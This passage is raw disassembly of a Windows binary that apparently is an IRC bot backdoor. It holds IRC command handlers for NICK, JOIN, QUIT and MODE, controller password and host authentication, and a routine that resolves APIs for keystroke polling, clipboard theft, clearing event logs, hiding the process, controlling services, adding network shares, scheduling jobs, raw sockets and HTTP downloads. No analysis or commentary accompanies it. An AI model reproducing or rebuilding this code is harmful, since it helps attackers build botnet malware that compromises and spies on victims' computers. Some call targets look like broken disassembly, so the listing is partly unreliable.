loc_406CCF ; --------------------------------------------------------------------------- loc_4094B2: ; CODE XREF: sub_401ACD+79D9j push offset unk_429710 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4094BC: ; CODE XREF: sub_401ACD+3E49j ; sub_401ACD+3E5Ej mov eax, [ebp+arg_10] mov cl, [eax] mov byte_429094, cl movsx eax, byte ptr [eax] push eax push offset unk_4296E8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_4094D5: ; CODE XREF: sub_401ACD+3E1Fj ; sub_401ACD+3E34j push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08D add esp, 10h push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 add esp, 0Ch jmp loc_408994 ; --------------------------------------------------------------------------- loc_409527: ; CODE XREF: sub_401ACD+3DF5j ; sub_401ACD+3E0Aj mov esi, [ebp+arg_10] push esi call sub_41B779 test eax, eax pop ecx jle loc_401E94 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_401E94 push offset aQuitLater ; "QUIT :later\r\n" push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C pop ecx pop ecx push 1F4h call near ptr 26903FCh nop push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call dword_4CB00C push [ebp+var_10] push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEC4[eax] nop call near ptr 26A0C3Ch push esi call sub_41B779 imul eax, 234h push esi mov dword_43DEC4[eax], ebx call sub_41B779 imul eax, 234h pop ecx pop ecx mov byte ptr dword_43DCB0[eax], bl jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4095D5: ; CODE XREF: sub_401ACD+3DCBj ; sub_401ACD+3DE0j push [ebp+arg_10] push offset aAll ; "all" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_409641 call sub_40B2BF cmp eax, ebx jle short loc_4095FC push eax push offset unk_4296BC jmp loc_408CDB ; --------------------------------------------------------------------------- loc_4095FC: ; CODE XREF: sub_401ACD+7B22j push offset unk_429694 loc_409601: ; CODE XREF: sub_401ACD+24F9j ; sub_401ACD+2518j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_40960F: ; CODE XREF: sub_401ACD+721Dj cmp [ebp+var_8], ebx jnz short loc_409630 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_409628: ; CODE XREF: sub_401ACD+6DB4j call sub_409A72 add esp, 14h loc_409630: ; CODE XREF: sub_401ACD+26F6j ; sub_401ACD+2721j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC jmp loc_40207D ; --------------------------------------------------------------------------- loc_409641: ; CODE XREF: sub_401ACD+7B19j mov eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h jnb loc_401E94 lea eax, [ebp+edi*4+var_90] mov [ebp+arg_24], eax loc_40965D: ; CODE XREF: sub_401ACD+7C01j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_401E94 push esi call sub_41B779 push eax call sub_40B231 pop ecx pop ecx test eax, eax push esi jz short loc_409684 push offset unk_429670 jmp short loc_409689 ; --------------------------------------------------------------------------- loc_409684: ; CODE XREF: sub_401ACD+7BAEj push offset unk_429644 loc_409689: ; CODE XREF: sub_401ACD+7BB5j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4096B9 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_4096B9: ; CODE XREF: sub_401ACD+7BCEj lea eax, [ebp+var_2C4] push eax call sub_4151AC add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_40965D jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4096D5: ; CODE XREF: sub_401ACD+3DA1j ; sub_401ACD+3DB6j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push esi push offset dword_429DB0 push [ebp+arg_4] call sub_409A2C add esp, 0Ch push esi push offset dword_429628 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409711: ; CODE XREF: sub_401ACD+3D77j ; sub_401ACD+3D8Cj push [ebp+arg_10] push offset dword_429D14 push [ebp+arg_4] call sub_409A2C add esp, 0Ch push [ebp+arg_10] push offset unk_429604 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409731: ; CODE XREF: sub_401ACD+3D4Dj ; sub_401ACD+3D62j push [ebp+esi+var_88] push [ebp+arg_10] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h push [ebp+arg_10] push offset unk_4295E0 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409758: ; CODE XREF: sub_401ACD+3D23j ; sub_401ACD+3D38j push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push [ebp+arg_10] push offset unk_4295BC jmp loc_40984D ; --------------------------------------------------------------------------- loc_409778: ; CODE XREF: sub_401ACD+3163j ; sub_401ACD+3178j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_429598 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h loc_4097B2: ; CODE XREF: sub_401ACD+7D33j push eax nop call near ptr 26903FCh loc_4097B9: ; CODE XREF: sub_401ACD+2AA2j xor eax, eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_4097C0: ; CODE XREF: sub_401ACD+3139j ; sub_401ACD+314Ej push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_429570 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h imul eax, 3E8h jmp short loc_4097B2 ; --------------------------------------------------------------------------- loc_409802: ; CODE XREF: sub_401ACD+EC8j ; sub_401ACD+EDDj push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax lea eax, [ebp+var_338] push dword_42909C push eax call sub_40B08D add esp, 10h lea eax, [ebp+var_338] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch lea eax, [ebp+var_338] push eax push offset unk_42954C loc_40984D: ; CODE XREF: sub_401ACD+70B4j ; sub_401ACD+778Aj ... call sub_415220 pop ecx loc_409853: ; CODE XREF: sub_401ACD+6CB9j pop ecx loc_409854: ; CODE XREF: sub_401ACD+659j ; sub_401ACD+665j ... mov eax, [ebp+arg_24] jmp loc_401E97 ; --------------------------------------------------------------------------- loc_40985C: ; CODE XREF: sub_401ACD+AB5j ; sub_401ACD+AC8j mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_10], esi jz loc_401E94 cmp [ebp+var_A4], ebx jnz loc_401E94 push offset asc_42CA28 ; "!" push [ebp+var_90] call sub_41C0F4 mov esi, eax push offset dword_4CAE2C push ebx inc esi call sub_41C0F4 push offset asc_429548 ; "~" push eax call sub_41C0F4 push [ebp+arg_10] mov edi, eax push offset aCool ; "cool" call sub_41C070 add esp, 20h test eax, eax jz short loc_4098FB lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2C add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2C add esp, 0Ch push edi push esi push offset unk_4294C8 jmp loc_40240A ; --------------------------------------------------------------------------- loc_4098FB: ; CODE XREF: sub_401ACD+7DEAj mov [ebp+arg_24], offset off_429160 loc_409902: ; CODE XREF: sub_401ACD+7E51j mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_40B44F pop ecx test eax, eax pop ecx jnz short loc_409962 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_429164 jb short loc_409902 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2C add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2C add esp, 0Ch push edi push esi push offset unk_429474 jmp loc_40240A ; --------------------------------------------------------------------------- loc_409962: ; CODE XREF: sub_401ACD+7E44j mov edi, [ebp+arg_18] xor esi, esi loc_409967: ; CODE XREF: sub_401ACD+7EC4j cmp [ebp+arg_10], ebx jz loc_401E94 cmp [edi], bl jnz short loc_409987 push [ebp+arg_10] push offset aCool ; "cool" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_409998 loc_409987: ; CODE XREF: sub_401ACD+7EA5j inc esi add edi, 80h cmp esi, 3 jl short loc_409967 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_409998: ; CODE XREF: sub_401ACD+7EB8j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E00] push 7Fh push eax push esi call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4099CF push ebx push [ebp+var_4] push offset unk_429454 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_4099CF: ; CODE XREF: sub_401ACD+7EE6j lea eax, [ebp+var_C4] push eax push offset unk_429434 jmp loc_402077 ; --------------------------------------------------------------------------- loc_4099E0: ; CODE XREF: sub_401ACD+20Ej ; sub_401ACD+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h mov dword_4CAE24, edi jmp loc_401D6A sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A2C proc near ; CODE XREF: sub_401955+3Dp ; sub_401ACD+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41C190 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFC4 leave retn sub_409A2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A72 proc near ; CODE XREF: sub_401ACD+518p ; sub_401ACD+137Dp ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_409A8D mov edi, offset aPrivmsg ; "PRIVMSG" loc_409A8D: ; CODE XREF: sub_409A72+14j push edi call sub_41AFE0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41AFE0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_1 ; "%s" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFC4 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_409B10 push 7D0h call near ptr 26903FCh nop locret_409B10: ; CODE XREF: sub_409A72+91j leave retn sub_409A72 endp ; =============== S U B R O U T I N E ======================================= sub_409B12 proc near ; CODE XREF: ___:0040126Cp push ebx push ebp mov ebp, dword_42709C push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4270BC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409C32 push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4CB020, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_4CAF94, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_4CAF78, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_4CAE88, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4CAE34, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4CAE64, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4CAEDC, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_4CAFD4, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4CB030, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4CAE94, eax call esi cmp dword_4CB020, ebx mov dword_4CAE7C, eax jz short loc_409C10 cmp dword_4CAF94, ebx jz short loc_409C10 cmp dword_4CAF78, ebx jz short loc_409C10 cmp dword_4CAE88, ebx jz short loc_409C10 cmp dword_4CAE64, ebx jz short loc_409C10 cmp dword_4CAEDC, ebx jz short loc_409C10 cmp dword_4CAFD4, ebx jz short loc_409C10 cmp dword_4CB030, ebx jz short loc_409C10 cmp dword_4CAE94, ebx jz short loc_409C10 cmp eax, ebx jnz short loc_409C1A loc_409C10: ; CODE XREF: sub_409B12+B8j ; sub_409B12+C0j ... mov dword_4CB034, 1 loc_409C1A: ; CODE XREF: sub_409B12+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_4CAFAC, eax jz short loc_409C47 push 1 push ebx call eax jmp short loc_409C47 ; --------------------------------------------------------------------------- loc_409C32: ; CODE XREF: sub_409B12+1Dj nop call near ptr 2690DCCh mov dword_4CB038, eax mov dword_4CB034, 1 loc_409C47: ; CODE XREF: sub_409B12+117j ; sub_409B12+11Ej push offset aUser32_dll ; "user32.dll" nop call near ptr 26B0BEDh mov edi, eax cmp edi, ebx jz loc_409D5C push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_4CAFD0, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_4CAF80, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4CAF14, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4CB024, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4CAF44, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4CAF64, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4CAFC8, eax call esi cmp dword_4CAFD0, ebx mov dword_4CAEB4, eax jz short loc_409D00 cmp dword_4CAF80, ebx jz short loc_409D00 cmp dword_4CAF14, ebx jz short loc_409D00 cmp dword_4CB024, ebx jz short loc_409D00 cmp dword_4CAF44, ebx jz short loc_409D00 cmp dword_4CAF64, ebx jz short loc_409D00 cmp dword_4CAFC8, ebx jz short loc_409D00 cmp eax, ebx jnz short loc_409D0A loc_409D00: ; CODE XREF: sub_409B12+1B8j ; sub_409B12+1C0j ... mov dword_4CB03C, 1 loc_409D0A: ; CODE XREF: sub_409B12+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_4CAF40, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4CAE48, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4CAF10, eax call esi cmp dword_4CAF40, ebx mov dword_4CAEF8, eax jz short loc_409D67 cmp dword_4CAE48, ebx jz short loc_409D67 cmp dword_4CAF10, ebx jz short loc_409D67 cmp eax, ebx jnz short loc_409D71 jmp short loc_409D67 ; --------------------------------------------------------------------------- loc_409D5C: ; CODE XREF: sub_409B12+144j nop call near ptr 2690DCCh mov dword_4CB040, eax loc_409D67: ; CODE XREF: sub_409B12+232j ; sub_409B12+23Aj ... mov dword_4CB03C, 1 loc_409D71: ; CODE XREF: sub_409B12+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409F2A push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4CAFE4, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4CAF28, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4CAF98, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4CAE74, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4CAED8, eax call esi push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4CAF50, eax call esi push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4CAEF4, eax call esi cmp dword_4CAFE4, ebx mov dword_4CAF04, eax jz short loc_409E1A cmp dword_4CAF28, ebx jz short loc_409E1A cmp dword_4CAF98, ebx jz short loc_409E1A cmp dword_4CAE74, ebx jz short loc_409E1A cmp dword_4CAED8, ebx jz short loc_409E1A cmp dword_4CAF50, ebx jnz short loc_409E24 loc_409E1A: ; CODE XREF: sub_409B12+2DEj ; sub_409B12+2E6j ... mov dword_4CB044, 1 loc_409E24: ; CODE XREF: sub_409B12+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4CAF58, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4CAF30, eax call esi cmp dword_4CAF58, ebx mov dword_4CAFE0, eax jz short loc_409E5F cmp dword_4CAF30, ebx jz short loc_409E5F cmp eax, ebx jnz short loc_409E69 loc_409E5F: ; CODE XREF: sub_409B12+33Fj ; sub_409B12+347j mov dword_4CB044, 1 loc_409E69: ; CODE XREF: sub_409B12+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4CAF68, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_4CAE50, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_4CAE58, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_4CAEBC, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4CAEC0, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4CAE6C, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4CAF34, eax call esi cmp dword_4CAF68, ebx mov dword_4CAE5C, eax jz short loc_409F0D cmp dword_4CAE50, ebx jz short loc_409F0D cmp dword_4CAE58, ebx jz short loc_409F0D cmp dword_4CAEBC, ebx jz short loc_409F0D cmp dword_4CAEC0, ebx jz short loc_409F0D cmp dword_4CAE6C, ebx jz short loc_409F0D cmp dword_4CAF34, ebx jz short loc_409F0D cmp eax, ebx jnz short loc_409F17 loc_409F0D: ; CODE XREF: sub_409B12+3C5j ; sub_409B12+3CDj ... mov dword_4CB044, 1 loc_409F17: ; CODE XREF: sub_409B12+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_4CAE54, eax jnz short loc_409F3F jmp short loc_409F35 ; --------------------------------------------------------------------------- loc_409F2A: ; CODE XREF: sub_409B12+26Aj call near ptr 2690DCCh nop mov dword_4CB048, eax loc_409F35: ; CODE XREF: sub_409B12+416j mov dword_4CB044, 1 loc_409F3F: ; CODE XREF: sub_409B12+414j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A00B push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4CAF60, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4CAFB8, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4CAFC0, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4CAF7C, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_4CAE98, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_4CAE44, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_4CAFBC, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_4CAE30, eax call esi cmp dword_4CAF60, ebx mov dword_4CAED0, eax jz short loc_40A016 cmp dword_4CAFB8, ebx jz short loc_40A016 cmp dword_4CAFC0, ebx jz short loc_40A016 cmp dword_4CAF7C, ebx jz short loc_40A016 cmp dword_4CAE98, ebx jz short loc_40A016 cmp dword_4CAE44, ebx jz short loc_40A016 cmp dword_4CAFBC, ebx jz short loc_40A016 cmp dword_4CAE30, ebx jz short loc_40A016 cmp eax, ebx jnz short loc_40A020 jmp short loc_40A016 ; --------------------------------------------------------------------------- loc_40A00B: ; CODE XREF: sub_409B12+438j nop call near ptr 2690DCCh mov dword_4CB050, eax loc_40A016: ; CODE XREF: sub_409B12+4B9j ; sub_409B12+4C1j ... mov dword_4CB04C, 1 loc_40A020: ; CODE XREF: sub_409B12+4F5j mov ebp, dword_4270B8 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A2DC push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_4CAEE4, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4CB018, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4CAE84, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4CAE60, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4CAF20, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_4CAF08, eax call esi push offset aSocket ; "socket" push edi mov dword_4CAECC, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4CAFF4, eax call esi push offset aConnect ; "connect" push edi mov dword_4CB010, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4CAF1C, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_4CB000, eax call esi push offset aHtons ; "htons" push edi mov dword_4CAFB4, eax call esi push offset aHtonl ; "htonl" push edi mov dword_4CAF74, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_4CAF70, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_4CAEA4, eax call esi push offset aSend ; "send" push edi mov dword_4CAE9C, eax call esi push offset aSendto ; "sendto" push edi mov dword_4CAFC4, eax call esi push offset aRecv ; "recv" push edi mov dword_4CAFD8, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_4CAF8C, eax call esi mov dword_4CAF4C, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_4CAFA0, eax call esi push offset aListen ; "listen" push edi mov dword_4CAF5C, eax call esi push offset aAccept ; "accept" push edi mov dword_4CAF9C, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_4CB008, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_4CAF54, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_4CAF18, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_4CAF88, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4CAFF8, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_4CAF2C, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_4CAEC8, eax call esi cmp dword_4CAEE4, ebx mov dword_4CB00C, eax jz loc_40A2E7 cmp dword_4CB018, ebx jz loc_40A2E7 cmp dword_4CAE84, ebx jz loc_40A2E7 cmp dword_4CAF20, ebx jz loc_40A2E7 cmp dword_4CAF08, ebx jz loc_40A2E7 cmp dword_4CAECC, ebx jz loc_40A2E7 cmp dword_4CAFF4, ebx jz loc_40A2E7 cmp dword_4CB010, ebx jz loc_40A2E7 cmp dword_4CAF1C, ebx jz loc_40A2E7 cmp dword_4CB000, ebx jz loc_40A2E7 cmp dword_4CAFB4, ebx jz loc_40A2E7 cmp dword_4CAF74, ebx jz loc_40A2E7 cmp dword_4CAF70, ebx jz loc_40A2E7 cmp dword_4CAEA4, ebx jz short loc_40A2E7 cmp dword_4CAFC4, ebx jz short loc_40A2E7 cmp dword_4CAFD8, ebx jz short loc_40A2E7 cmp dword_4CAF8C, ebx jz short loc_40A2E7 cmp dword_4CAF4C, ebx jz short loc_40A2E7 cmp dword_4CAFA0, ebx jz short loc_40A2E7 cmp dword_4CAF5C, ebx jz short loc_40A2E7 cmp dword_4CAF9C, ebx jz short loc_40A2E7 cmp dword_4CB008, ebx jz short loc_40A2E7 cmp dword_4CAF54, ebx jz short loc_40A2E7 cmp dword_4CAF18, ebx jz short loc_40A2E7 cmp dword_4CAF88, ebx jz short loc_40A2E7 cmp dword_4CAFF8, ebx jz short loc_40A2E7 cmp dword_4CAF2C, ebx jz short loc_40A2E7 cmp eax, ebx jnz short loc_40A2F1 jmp short loc_40A2E7 ; --------------------------------------------------------------------------- loc_40A2DC: ; CODE XREF: sub_409B12+51Fj call near ptr 2690DCCh nop mov dword_4CB058, eax loc_40A2E7: ; CODE XREF: sub_409B12+6BEj ; sub_409B12+6CAj ... mov dword_4CB054, 1 loc_40A2F1: ; CODE XREF: sub_409B12+7C6j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A3F6 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4CAEB0, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4CAE38, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4CAF3C, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4CAEE8, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_4CAF48, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4CAF0C, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4CAE78, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4CAE70, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4CAE80, eax call esi cmp dword_4CAEB0, ebx mov ecx, dword_4CAF0C mov dword_4CAFA8, eax jz short loc_40A3D2 cmp dword_4CAE38, ebx jz short loc_40A3D2 cmp dword_4CAF3C, ebx jz short loc_40A3D2 cmp dword_4CAEE8, ebx jz short loc_40A3D2 cmp dword_4CAF48, ebx jz short loc_40A3D2 cmp ecx, ebx jz short loc_40A3D2 cmp dword_4CAE78, ebx jz short loc_40A3D2 cmp dword_4CAE70, ebx jz short loc_40A3D2 cmp dword_4CAE80, ebx jz short loc_40A3D2 cmp eax, ebx jnz short loc_40A3DC loc_40A3D2: ; CODE XREF: sub_409B12+87Ej ; sub_409B12+886j ... mov dword_4CB05C, 1 loc_40A3DC: ; CODE XREF: sub_409B12+8BEj cmp ecx, ebx jz short loc_40A411 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_4CAF24, eax jnz short loc_40A411 jmp short loc_40A40B ; --------------------------------------------------------------------------- loc_40A3F6: ; CODE XREF: sub_409B12+7EAj nop call near ptr 2690DCCh mov dword_4CB060, eax mov dword_4CB05C, 1 loc_40A40B: ; CODE XREF: sub_409B12+8E2j mov dword_4CAF24, ebx loc_40A411: ; CODE XREF: sub_409B12+8CCj ; sub_409B12+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A45B push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4CAEFC, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4CB02C, eax call esi cmp dword_4CAEFC, ebx mov dword_4CAE8C, eax jz short loc_40A466 cmp dword_4CB02C, ebx jz short loc_40A466 cmp eax, ebx jnz short loc_40A470 jmp short loc_40A466 ; --------------------------------------------------------------------------- loc_40A45B: ; CODE XREF: sub_409B12+90Aj nop call near ptr 2690DCCh mov dword_4CB068, eax loc_40A466: ; CODE XREF: sub_409B12+939j ; sub_409B12+941j ... mov dword_4CB064, 1 loc_40A470: ; CODE XREF: sub_409B12+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A577 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_4CAE68, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4CAE40, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4CAEB8, eax call esi push offset aNetapibufferfr 